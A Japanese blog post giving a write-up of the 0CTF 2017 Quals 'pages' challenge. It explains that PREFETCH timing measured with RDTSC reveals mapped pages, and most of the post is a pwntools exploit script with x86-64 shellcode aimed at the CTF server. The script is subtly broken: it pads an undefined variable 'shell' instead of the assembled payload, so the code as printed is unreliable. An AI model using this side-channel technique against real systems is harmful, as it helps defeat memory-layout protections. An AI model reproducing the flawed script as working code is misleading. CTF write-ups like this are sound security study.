ブログ未満のなにか

ブログなのか誰にも分からない

0CTF 2017 Quals pages writeup

はじめに

期間中に解けなかったのが悔しかったので、writeup見ながら解いた。

https://gruss.cc/files/prefetch.pdf
が頭にあれば解けたかもしれない。というか元ネタがこれだと思う。期間中、cacheかTLB関連の何かを使うのかなぁと予想していたが、PREFETCH命令がmappingされていないページに対して実行されるとNOPになることは知らなかった。公式リファレンスにも載ってなかったとはず。有効なページと無効なページでは、実行時間が変わってくるのでRDTSC命令を使って経過クロックを比較してやればいい。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
#context.log_level = 'debug' # output verbose log

RHOST = "202.120.7.198"
RPORT = 13579
LHOST = "127.0.0.1"
LPORT = 13579

# libc = ELF('')
elf = ELF('./pages_d9a22948ada76c76fcd1658457d51b61')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        print "A"
        #conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./pages_d9a22948ada76c76fcd1658457d51b61'], execute=execute)

else:
    conn = process(['./pages_d9a22948ada76c76fcd1658457d51b61'])
    # conn = process(['./pages_d9a22948ada76c76fcd1658457d51b61'], env={'LD_PRELOAD': ''})

# preparing for exploitation
#log.info('Pwning')
shellcode = '''
        
    mov r8, 0x0
    mov r9, 65
    mov r10, 0x0000000200000000
    xor rax, rax
    xor rbx, rbx
    xor rcx, rcx
    xor rdx, rdx

loop:
    mov rax, r8
    shl rax, 13
    add rax, r10
    mov rdi, rax
    call measure
    mov r14, rax

    mov rax, r8
    shl rax, 13
    mov rbx, 0x01
    shl rbx, 12
    add rax, rbx
    add rax, r10
    mov rdi, rax
    call measure
    mov r15, rax

    cmp r14d, r15d
    ja one

zero:
    mov rax, 0x0000000300000000
    add rax, r8
    mov BYTE PTR[rax], 0x00
    jmp hoge
one:
    mov rax, 0x0000000300000000
    add rax, r8
    mov BYTE PTR[rax], 0x01

hoge:
    inc r8
    cmp r8, r9
    je finish
    jmp loop

measure:
    mov rbx, 0x10000 
    rdtsc 
    mov ecx, eax

    measure_loop:
        dec rbx
        test rbx, rbx
        je measure_done
        PREFETCHT0 [rdi]
        jmp measure_loop
    measure_done:
        rdtsc
        sub eax, ecx
        ret

finish:
    ret
'''

payload = asm(shellcode) 
payload = shell.ljust( 0x4000, "\x90")
conn.send(p32(0x4000))
conn.sendline(payload)
conn.interactive()